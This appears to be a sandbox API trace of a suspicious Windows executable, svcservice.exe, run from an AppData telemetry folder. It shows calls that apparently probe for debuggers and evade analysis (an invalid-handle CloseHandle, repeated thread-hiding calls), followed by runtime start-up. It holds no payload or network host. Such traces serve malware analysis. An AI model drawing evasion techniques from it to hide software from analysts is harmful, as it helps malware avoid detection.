[0209.889] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.889] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.891] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.895] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.898] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.899] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x774b0000
[0209.901] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x748e0000
[0209.902] GetModuleHandleA (lpModuleName="SHELL32.dll") returned 0x75010000
[0209.903] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x74530000
[0209.907] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76ce0000
[0209.913] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.914] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.914] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.914] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.919] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.921] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.922] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.925] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.926] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.927] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x774b0000
[0209.928] CloseHandle (hObject=0xdeadc0de) returned 0
[0209.935] VirtualQuery (in: lpAddress=0x16263cc, lpBuffer=0x18e4d8, dwLength=0x1c | out: lpBuffer=0x18e4d8*(BaseAddress=0x1626000, AllocationBase=0x11e0000, AllocationProtect=0x80, RegionSize=0x6a6000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c
[0209.935] RtlUnwind (TargetFrame=0x18fa0c, TargetIp=0x1238538, ExceptionRecord=0x0, ReturnValue=0x0)
[0209.937] NtQueryVirtualMemory (in: ProcessHandle=0xffffffffffffffff, Address=0x6b7018, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f1d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f1d8*(BaseAddress=0x6b7000, AllocationBase=0x0, AllocationProtect=0x6a0000, RegionSize=0x0, State=0x4, Protect=0xfffff803, Type=0x19000), ResultLength=0x0) returned 0x0
[0209.937] NtQueryVirtualMemory (in: ProcessHandle=0xffffffffffffffff, Address=0x1d1a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f1d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f1d8*(BaseAddress=0x1d1a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff803, Type=0x6000), ResultLength=0x0) returned 0x0
[0210.834] NtQuerySystemInformation (in: SystemInformationClass=0x0, SystemInformation=0x18f650, Length=0x2c, ResultLength=0x0 | out: SystemInformation=0x18f650, ResultLength=0x0) returned 0x0
[0210.835] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x18f698, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x18f698, ReturnLength=0x0) returned 0x0
[0210.835] NtQueryInformationThread (in: ThreadHandle=0xfffffffe, ThreadInformationClass=0x0, ThreadInformation=0x18f67c, ThreadInformationLength=0x1c, ReturnLength=0x0 | out: ThreadInformation=0x18f67c, ReturnLength=0x0) returned 0x0
[0210.836] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0x18f93c, ThreadInformationLength=0x4) returned 0x0
[0210.846] NtDelayExecution (Alertable=0, Interval=0x18f7a0*=0) returned 0x0
[0210.848] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0x18f93c, ThreadInformationLength=0x4) returned 0xc000000d
[0210.850] NtDelayExecution (Alertable=0, Interval=0x18f7a0*=0) returned 0x0
[0210.851] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0x18f93c, ThreadInformationLength=0x4) returned 0xc000000d
[0210.852] NtDelayExecution (Alertable=0, Interval=0x18f7a0*=0) returned 0x0
[0210.852] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0x18f93c, ThreadInformationLength=0x4) returned 0xc000000d
[0210.853] NtDelayExecution (Alertable=0, Interval=0x18f7a0*=0) returned 0x0
[0210.863] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0x18f68c, ThreadInformationLength=0x4) returned 0x0
[0210.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e404 | out: lpSystemTimeAsFileTime=0x18e404*(dwLowDateTime=0xd8a33ed8, dwHighDateTime=0x1d96e12))
[0210.863] GetCurrentProcessId () returned 0x7d4
[0210.864] GetCurrentThreadId () returned 0x864
[0210.864] GetTickCount () returned 0xd91a
[0210.864] QueryPerformanceCounter (in: lpPerformanceCount=0x18e3fc | out: lpPerformanceCount=0x18e3fc*=2189561295312) returned 1
[0210.865] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xed0000
[0210.866] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76ce0000
[0210.866] GetProcAddress (hModule=0x76ce0000, lpProcName="FlsAlloc") returned 0x76cfa980
[0210.867] GetProcAddress (hModule=0x76ce0000, lpProcName="FlsGetValue") returned 0x76cf7570
[0210.867] GetProcAddress (hModule=0x76ce0000, lpProcName="FlsSetValue") returned 0x76cf9e30
[0210.867] GetProcAddress (hModule=0x76ce0000, lpProcName="FlsFree") returned 0x76d04ff0
[0210.868] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x214) returned 0xed05a8
[0210.868] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76ce0000
[0210.870] GetCurrentThreadId () returned 0x864
[0210.870] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe\" "
[0210.870] GetEnvironmentStringsW () returned 0x6b9c48*
[0210.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1379, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1379
[0210.870] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0x563) returned 0xed07c8
[0210.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1379, lpMultiByteStr=0xed07c8, cbMultiByte=1379, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1379
[0210.870] FreeEnvironmentStringsW (penv=0x6b9c48) returned 1
[0210.870] GetStartupInfoW (in: lpStartupInfo=0x18e34c | out: lpStartupInfo=0x18e34c*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x11e0000, hStdError=0x563))
[0210.871] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x800) returned 0xed0d38
[0210.871] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
[0210.871] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
[0210.871] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
[0210.871] SetHandleCount (uNumber=0x20) returned 0x20
[0210.871] GetLastError () returned 0x6
[0210.871] SetLastError (dwErrCode=0x6)
[0210.871] GetLastError () returned 0x6
[0210.871] SetLastError (dwErrCode=0x6)
[0210.871] GetLastError () returned 0x6
[0210.871] SetLastError (dwErrCode=0x6)
[0210.871] GetACP () returned 0x4e4
[0210.871] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0x220) returned 0xed1540
[0210.871] GetLastError () returned 0x6
[0210.871] SetLastError (dwErrCode=0x6)
[0210.871] IsValidCodePage (CodePage=0x4e4) returned 1
[0210.872] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18e314 | out: lpCPInfo=0x18e314) returned 1
[0210.872] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18dde0 | out: lpCPInfo=0x18dde0) returned 1
[0210.872] GetLastError () returned 0x6
[0210.872] SetLastError (dwErrCode=0x6)
[0210.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e1f4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0210.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e1f4, cbMultiByte=256, lpWideCharStr=0x18db58, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0210.872] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ddf4 | out: lpCharType=0x18ddf4) returned 1
[0210.872] GetLastError () returned 0x6
[0210.872] SetLastError (dwErrCode=0x6)
[0210.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e1f4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0210.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e1f4, cbMultiByte=256, lpWideCharStr=0x18db28, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쩂⽥䢘ģĀ") returned 256
[0210.872] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쩂⽥䢘ģĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
[0210.872] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쩂⽥䢘ģĀ", cchSrc=256, lpDestStr=0x18d918, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256
[0210.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18e0f4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿµ\x94g\x15,ã\x18", lpUsedDefaultChar=0x0) returned 256
[0210.872] GetLastError () returned 0x6
[0210.872] SetLastError (dwErrCode=0x6)
[0210.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e1f4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0210.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e1f4, cbMultiByte=256, lpWideCharStr=0x18db48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쩂⽥䢘ģĀ") returned 256
[0210.872] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쩂⽥䢘ģĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
[0210.872] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쩂⽥䢘ģĀ", cchSrc=256, lpDestStr=0x18d938, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256
[0210.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18dff4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿµ\x94g\x15,ã\x18", lpUsedDefaultChar=0x0) returned 256
[0210.873] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1244320, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telemetry\\svcservice.exe")) returned 0x3e
[0210.873] GetLastError () returned 0x0
[0210.873] SetLastError (dwErrCode=0x0)
[0210.873] GetLastError () returned 0x0
[0210.873] SetLastError (dwErrCode=0x0)
[0210.873] GetLastError () returned 0x0
[0210.873] SetLastError (dwErrCode=0x0)
[0210.873] GetLastError () returned 0x0
[0210.873] SetLastError (dwErrCode=0x0)
[0210.873] GetLastError () returned 0x0
[0210.873] SetLastError (dwErrCode=0x0)
[0210.873] GetLastError () returned 0x0
[0210.873] SetLastError (dwErrCode=0x0)
[0210.873] GetLastError () returned 0x0
[0210.873] SetLastError (dwErrCode=0x0)
[0210.873] GetLastError () returned 0x0
[0210.874] SetLastError (dwErrCode=0x0)
[0210.874] GetLastError () returned 0x0
[0210.874] SetLastError (dwErrCode=0x0)
[0210.874] GetLastError () returned 0x0
[0210.874] SetLastError (dwErrCode=0x0)
[0210.874] GetLastError () returned 0x0
[0210.874] SetLastError (dwErrCode=0x0)
[0210.874] GetLastError () returned 0x0
[0210.874] SetLastError (dwErrCode=0x0)
[0210.874] GetLastError () returned 0x0
[0210.874] SetLastError (dwErrCode=0x0)
[0210.874] GetLastError () returned 0x0
[0210.874] SetLastError (dwErrCode=0x0)
[0210.874] GetLastError () returned 0x0
[0210.874] SetLastError (dwErrCode=0x0)
[0210.874] GetLastError () returned 0x0
[0210.874] SetLastError (dwErrCode=0x0)
[0210.874] GetLastError () returned 0x0
[0210.874] SetLastError (dwErrCode=0x0)
[0210.874] GetLastError () returned 0x0
[0210.874] SetLastError (dwErrCode=0x0)
[0210.874] GetLastError () returned 0x0
[0210.875] SetLastError (dwErrCode=0x0)
[0210.875] GetLastError () returned 0x0
[0210.875] SetLastError (dwErrCode=0x0)
[0210.875] GetLastError () returned 0x0
[0210.875] SetLastError (dwErrCode=0x0)
[0210.875] GetLastError () returned 0x0
[0210.875] SetLastError (dwErrCode=0x0)
[0210.875] GetLastError () returned 0x0
[0210.875] SetLastError (dwErrCode=0x0)
[0210.875] GetLastError () returned 0x0
[0210.875] SetLastError (dwErrCode=0x0)
[0210.875] GetLastError () returned 0x0
[0210.875] SetLastError (dwErrCode=0x0)
[0210.875] GetLastError () returned 0x0
[0210.875] SetLastError (dwErrCode=0x0)
[0210.875] GetLastError () returned 0x0
[0210.875] SetLastError (dwErrCode=0x0)
[0210.875] GetLastError () returned 0x0
[0210.875] SetLastError (dwErrCode=0x0)
[0210.875] GetLastError () returned 0x0
[0210.875] SetLastError (dwErrCode=0x0)
[0210.875] GetLastError () returned 0x0
[0210.875] SetLastError (dwErrCode=0x0)
[0210.875] GetLastError () returned 0x0
[0210.876] SetLastError (dwErrCode=0x0)
[0210.876] GetLastError () returned 0x0
[0210.876] SetLastError (dwErrCode=0x0)
[0210.876] GetLastError () returned 0x0
[0210.876] SetLastError (dwErrCode=0x0)
[0210.876] GetLastError () returned 0x0
[0210.876] SetLastError (dwErrCode=0x0)
[0210.876] GetLastError () returned 0x0
[0210.876] SetLastError (dwErrCode=0x0)
[0210.876] GetLastError () returned 0x0
[0210.876] SetLastError (dwErrCode=0x0)
[0210.876] GetLastError () returned 0x0
[0210.876] SetLastError (dwErrCode=0x0)
[0210.876] GetLastError () returned 0x0
[0210.876] SetLastError (dwErrCode=0x0)
[0210.876] GetLastError () returned 0x0
[0210.876] SetLastError (dwErrCode=0x0)
[0210.876] GetLastError () returned 0x0
[0210.876] SetLastError (dwErrCode=0x0)
[0210.876] GetLastError () returned 0x0
